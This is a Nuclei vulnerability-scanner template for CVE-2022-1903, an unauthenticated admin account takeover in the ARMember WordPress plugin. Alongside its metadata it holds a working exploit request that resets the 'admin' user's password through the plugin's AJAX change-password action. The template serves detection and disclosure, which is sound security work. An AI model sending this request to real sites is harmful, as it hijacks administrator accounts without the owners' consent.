nuclei-templates/http/cves/2022/CVE-2022-1903.yaml

id: CVE-2022-1903

info:
  name: ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
  author: theamanrawat
  severity: high
  description: |
    The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
  impact: |
    An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system.
  remediation: Fixed in version 3.4.8
  reference:
    - https://wpscan.com/vulnerability/28d26aa6-a8db-4c20-9ec7-39821c606a08
    - https://wordpress.org/plugins/armember-membership/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1903
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2022-1903
    cwe-id: CWE-862
    epss-score: 0.63489
    epss-percentile: 0.97571
    cpe: cpe:2.3:a:armemberplugin:armember:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: armemberplugin
    product: armember
    framework: wordpress
  tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated,armemberplugin

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Your Password has been reset"
          - "arm_success_msg"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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